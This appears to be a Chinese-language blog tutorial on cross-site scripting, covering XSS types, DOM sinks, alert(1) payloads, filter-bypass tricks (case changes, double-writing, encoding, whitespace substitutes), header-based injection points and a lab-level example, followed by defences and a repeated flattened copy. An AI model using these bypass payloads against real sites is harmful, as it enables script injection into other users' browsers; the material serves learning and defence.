xss总结
字数 944 2025-08-22 12:23:41

XSS漏洞全面解析与防御指南

XSS漏洞概述

跨站脚本攻击(XSS)是一种常见的Web安全漏洞,攻击者能够在受害者的浏览器中执行恶意脚本。XSS漏洞主要分为三种类型:

  1. 反射型XSS:恶意脚本通过用户请求即时反射回浏览器执行
  2. 存储型XSS:恶意脚本被存储在服务器上,随后在用户请求时发送到浏览器执行
  3. DOM型XSS:通过客户端脚本直接修改DOM引入恶意代码

DOM型XSS详解

DOM型XSS是一种特殊类型的反射型XSS,基于文档对象模型(DOM)的漏洞。特点包括:

  • 完全在客户端执行,不涉及服务器交互
  • 通过操作HTML或CSS实现攻击
  • 利用HTML属性、方法和事件注入恶意代码

常见DOM XSS触发点

  1. document.referer属性
  2. window.name属性
  3. location属性
  4. innerHTML属性
  5. document.write属性

XSS攻击向量与绕过技术

1. 基本攻击向量


<iframe src="javascript:alert(1)"></iframe>
<a href="javascript:alert(1)">click</a>

2. 无尖括号攻击

' onclick='alert(1)'
hello' onmouseover='javascript:alert(1)'
javascript:alert(1)

3. 大小写绕过

<Script>alert(1);</Script>

4. 双写绕过

" oonnclick="alert(1)"

5. HTML实体编码绕过

javascript:alert(1); 编码后: javascript:alert(1);

6. 注释绕过

// 把http://注释掉

7. 空格绕过替代方案

  • %09 水平制表符(Tab字符)
  • %0a 换行
  • %0b 垂直制表符
  • %0c 换页符
  • %0d 回车符
  • %a0 不间断空格

8. 无害探测标签

<s>123</s>
<h1>123</h1>
<p>123</p>
</tExtArEa><h1>123</h1>#
</tExtArEa><s>123#tExtArEa><s>123#//--+<script>alert(1);</script>

攻击入口点

  1. URL参数:直接注入到页面输出中
  2. Referer头:可通过工具如Postman或BurpSuite修改
  3. User-Agent头:伪造UA字符串包含恶意脚本
  4. Cookie参数:如user字段可能被输出到页面

Referer攻击示例

在请求头中注入:

Referer: " type="text" onmousemove="alert(1)

文件包含攻击

http://127.0.0.1/xss/level15.php?src='level1.php?name=<a href="javascript:alert(1)">'

防御措施

  1. 输入验证:严格验证所有用户输入
  2. 输出编码:对输出到页面的数据进行HTML编码
  3. CSP策略:实施内容安全策略限制脚本执行
  4. HttpOnly标志:为敏感cookie设置HttpOnly
  5. X-XSS-Protection头:启用浏览器内置XSS过滤器
  6. 避免危险API:如innerHTMLdocument.write

总结

XSS攻击手段多样且不断演进,防御需要多层次的安全措施。理解各种XSS类型及其攻击向量是构建有效防御的基础。开发人员应始终保持警惕,对所有用户输入进行严格处理和验证。

XSS漏洞全面解析与防御指南 XSS漏洞概述 跨站脚本攻击(XSS)是一种常见的Web安全漏洞,攻击者能够在受害者的浏览器中执行恶意脚本。XSS漏洞主要分为三种类型: 反射型XSS :恶意脚本通过用户请求即时反射回浏览器执行 存储型XSS :恶意脚本被存储在服务器上,随后在用户请求时发送到浏览器执行 DOM型XSS :通过客户端脚本直接修改DOM引入恶意代码 DOM型XSS详解 DOM型XSS是一种特殊类型的反射型XSS,基于文档对象模型(DOM)的漏洞。特点包括: 完全在客户端执行,不涉及服务器交互 通过操作HTML或CSS实现攻击 利用HTML属性、方法和事件注入恶意代码 常见DOM XSS触发点 document.referer 属性 window.name 属性 location 属性 innerHTML 属性 document.write 属性 XSS攻击向量与绕过技术 1. 基本攻击向量 2. 无尖括号攻击 3. 大小写绕过 4. 双写绕过 5. HTML实体编码绕过 6. 注释绕过 7. 空格绕过替代方案 %09 水平制表符(Tab字符) %0a 换行 %0b 垂直制表符 %0c 换页符 %0d 回车符 %a0 不间断空格 8. 无害探测标签 攻击入口点 URL参数 :直接注入到页面输出中 Referer头 :可通过工具如Postman或BurpSuite修改 User-Agent头 :伪造UA字符串包含恶意脚本 Cookie参数 :如user字段可能被输出到页面 Referer攻击示例 在请求头中注入: 文件包含攻击 防御措施 输入验证 :严格验证所有用户输入 输出编码 :对输出到页面的数据进行HTML编码 CSP策略 :实施内容安全策略限制脚本执行 HttpOnly标志 :为敏感cookie设置HttpOnly X-XSS-Protection头 :启用浏览器内置XSS过滤器 避免危险API :如 innerHTML 、 document.write 等 总结 XSS攻击手段多样且不断演进,防御需要多层次的安全措施。理解各种XSS类型及其攻击向量是构建有效防御的基础。开发人员应始终保持警惕,对所有用户输入进行严格处理和验证。